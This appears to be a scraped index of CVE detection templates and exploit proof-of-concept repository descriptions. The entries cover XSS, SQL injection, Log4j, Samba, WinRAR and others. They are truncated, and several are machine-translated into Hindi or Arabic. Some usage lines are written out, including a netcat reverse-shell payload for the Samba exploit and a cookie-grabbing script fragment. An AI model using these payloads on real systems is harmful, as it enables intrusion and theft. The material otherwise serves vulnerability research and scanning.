WordPress Integrator 1.32 - Cross-Site Scripting

A cross-site scripting vulnerability in wp-integrator.php in the WordPress Integrator module 1.32 for WordPress allows remote attackers to inject arbitrary web script or HTML via the redirectto parameter to wp-login.php. id: CVE-2012-5913 info: name: WordPress Integrator 1.32 - Cross-Site Scripti...

WP-FaceThumb 0.1 - Cross-Site Scripting

A cross-site scripting vulnerability in index.php in the WP-FaceThumb plugin 0.1 for WordPress allows remote attackers to inject arbitrary web script or HTML via the paginationwpfacethumb parameter. id: CVE-2012-2371 info: name: WP-FaceThumb 0.1 - Cross-Site Scripting author: daffainfo severity:...

ReQlogic v11.3 - Cross Site Scripting

ReQlogic v11.3 allow attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the POBatch and WaitDuration parameters. id: CVE-2022-41441 info: name: ReQlogic v11.3 - Cross Site Scripting author: r3Y3r53 severity: medium description: | ReQlogic v11.3 allow attackers ...

VDO.Ninja - DOM-Based Cross-Site Scripting

VDO.Ninja 28.0 to 28.3 contains a reflected XSS caused by improper sanitization of the room parameter in examples/control.html, letting remote attackers execute scripts, exploit requires crafted URL. id: CVE-2025-62613 info: name: VDO.Ninja - DOM-Based Cross-Site Scripting author: 0xAkoko severit...

Mitel ShoreTel 19.46.1802.0 Devices - Cross-Site Scripting

Mitel ShoreTel 19.46.1802.0 devices and their conference component are vulnerable to an unauthenticated attacker conducting reflected cross-site scripting attacks via the PATHINFO variable to index.php due to insufficient validation for the timezone object in the HOMEMEETING& page. id:...

Extreme Management Center 8.4.1.24 - Cross-Site Scripting

Extreme Management Center 8.4.1.24 contains a cross-site scripting vulnerability via a parameter in a GET request. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication...

Xinuo Openserver 5/6 - Cross-Site scripting

Xinuo formerly SCO Openserver versions 5 and 6 allows remote attackers to inject arbitrary web script or HTML tag via the parameter 'section' and is vulnerable to reflected cross-site scripting. id: CVE-2020-25495 info: name: Xinuo Openserver 5/6 - Cross-Site scripting author: 0xAkoko severity:...

WordPress Redirect After Login <= 0.1.9 - Admin Stored XSS

Marcelotorres Redirect After Login plugin = 0.1.9 contains a stored cross-site scripting caused by insufficient sanitization in the login redirect parameter, letting attackers execute scripts in the context of the affected site, exploit requires admin privileges. id: CVE-2023-27624 info: name:...

PHPJabbers Food Delivery Script v3.0 - SQL Injection

PHPJabbers Food Delivery Script v3.0 is vulnerable to SQL Injection in the "column" parameter of index.php. id: CVE-2023-40749 info: name: PHPJabbers Food Delivery Script v3.0 - SQL Injection author: ritikchaddha severity: critical description: | PHPJabbers Food Delivery Script v3.0 is vulnerable...

PHPJabbers Yacht Listing Script v1.0 - Cross-Site Scripting

There is a Cross Site Scripting XSS vulnerability in the "action" parameter of index.php in PHPJabbers Yacht Listing Script v1.0. id: CVE-2023-40750 info: name: PHPJabbers Yacht Listing Script v1.0 - Cross-Site Scripting author: ritikchaddha severity: medium description: | There is a Cross Site...

CVE-2024-30043-XXE

CVE-2024-30043-XXE श्रेय वर्तमान में इस भेद्यता का प्रभाव सीमित है, लेकिन एक चतुर बाइपास विचार प्रदान करने के लिए https://x.com/chudyPB का धन्यवाद। https://x.com/chudyPB...

PadBuster

PadBuster - Automated script for performing Padding Oracle attacks Author: Brian Holyfield - Gotham Digital Science [email protected] Credits to J.Rizzo and T.Duong for providing proof of concept web exploit techniques and S.Vaudenay for initial discovery of the attack. Credits also to James...

CVE-2021-44228_PoC

POC لـ CVE-2021-44228 تم إنشاء هذا السكربت بلغة بايثون أثناء عملي على غرفة TryHackMe الخاصة بـ Log4j. وبينما تم إنشاؤه بمتغيرات افتراضية لهذه الغرفة، استخدمت argparse لجعل السكربت مرنًا لطلب GET. يمكن تغيير جميع المتغيرات الضرورية بخيارات مختلفة، انظر -h لمزيد من المعلومات. الإعداد يتم استضافة...

CVE-2020-13151

CVE-2020-13151 POC Aerospike Database 5.1.0.3 होस्ट कमांड निष्पादन पूर्ण लेख उपलब्ध है @ https://b4ny4n.github.io/network-pentest/2020/08/01/cve-2020-13151-poc-aerospike.html poc.lua सर्वर के मैन्युअल शोषण को दर्शाता है cve2020-13151.py स्वचालित शोषण के लिए run-poc.sh स्थानीय प्रयोग के लिए एक डॉक...

cve-2022-33891

cve-2022-33891 उपयोग: pip3 install requests If you do not use the -d parameter, the dnslog domain name will be automatically applied for you. 如果你不使用-d参数，则会自动为您申请dnslog域名。 python3 cve202233891poc.py -u http://127.0.0.1 python3 cve202233891poc.py -f url.txt python3 cve202233891poc.py -u...

CVE-2007-2447

CVE-2007-2447 🖥️ -h3x0v3rl0rd- ️⃣ CVE-2007-2447 python3 smb3.0.20.py -lh localhost -lp local port -t target त्रुटि आपको जो त्रुटि मिल रही है, वह दर्शाती है कि Python स्क्रिप्ट smb नामक मॉड्यूल को आयात करने का प्रयास कर रही है, लेकिन यह आपके सिस्टम पर स्थापित नहीं है। smb मॉड्यूल pysmb लाइब्रेरी का...

TongDa-RCE

TongDa-RCE تضمين ملفات Tongda + رفع ملفات يؤدي إلى RCE تعليمات الاستخدام RCE عن بُعد: python3 tongdarce.py targert getsehll: python3 tongdashell.py target...

CVE-2023-08-21-exploit

शोषण शीर्षक: Axigen if xhr1.readyState === XMLHttpRequest.DONE hcookie = new URLxhr1.responseURL.search.split"="1; xhr...

CVE-2007-2447-in-Python

CVE-2007-2447 - Python कार्यान्वयन विवरण Samba 3.0.20 IP - दूरस्थ मशीन का IP पता। PORT - वैकल्पिक वह पोर्ट जिस पर smb चल रहा है। PAYLOAD - दूरस्थ मशीन पर निष्पादित किया जाने वाला पेलोड जैसे कि रिवर्स शेल। उदाहरण: python3 smbExploit.py 192.168.1.2 139 'nc -e /bin/sh 192.168.1.1 4444' python3...

CVE-2023-38831-winrar-exploit

مولّد استغلال CVE-2023-38831 لبرنامج WinRAR اختبار إثبات المفهوم السريع قم بتوليد ملف إثبات المفهوم الافتراضي للاختبار python cve-2023-38831-exp-gen.py poc أو python cve-2023-38831-exp-gen.py CLASSIFIEDDOCUMENTS.pdf script.bat poc.rar تخصيص 1. ضع ملف الطُعم وملف السكربت الخبيث في الدليل الحالي،...